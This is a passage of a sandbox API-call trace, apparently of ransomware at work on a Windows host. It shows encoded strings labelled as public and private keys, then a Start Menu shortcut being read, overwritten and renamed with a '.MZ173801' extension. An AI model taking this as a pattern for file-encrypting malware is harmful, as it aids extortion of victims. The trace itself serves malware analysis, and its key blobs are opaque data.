wrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0200.836] GetCurrentThreadId () returned 0xab4 [0200.836] GetCurrentThreadId () returned 0xab4 [0200.836] GetCurrentThreadId () returned 0xab4 [0200.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0200.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0200.837] GetCurrentThreadId () returned 0xab4 [0200.837] GetCurrentThreadId () returned 0xab4 [0200.837] GetCurrentThreadId () returned 0xab4 [0200.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0200.837] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0200.837] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0200.837] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x4fa [0200.837] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0200.837] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x4fa, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x4fa, lpOverlapped=0x0) returned 1 [0201.051] CloseHandle (hObject=0x330) returned 1 [0201.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0201.302] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x4fa, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x4fa, lpOverlapped=0x0) returned 1 [0201.303] CloseHandle (hObject=0x330) returned 1 [0201.529] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk.mz173801")) returned 1 [0202.068] GetCurrentThreadId () returned 0xab4 [0202.068] GetCurrentThreadId () returned 0xab4 [0202.068] GetCurrentThreadId () returned 0xab4 [0202.068] GetCurrentThreadId () returned 0xab4 [0202.068] GetCurrentThreadId () returned 0xab4 [0202.068] GetCurrentThreadId () returned 0xab4 [0202.068] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x96df2ecc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0202.068] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0202.068] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0202.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x96df2ecc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa)) returned 1 [0202.068] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise.lnk")) returned 0x20 [0202.068] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk", dwFileAttributes=0x80) returned 1 [0202.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0202.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0202.457] GetCurrentThreadId () returned 0xab4 [0202.457] GetCurrentThreadId () returned 0xab4 [0202.457] GetCurrentThreadId () returned 0xab4 [0202.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0202.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 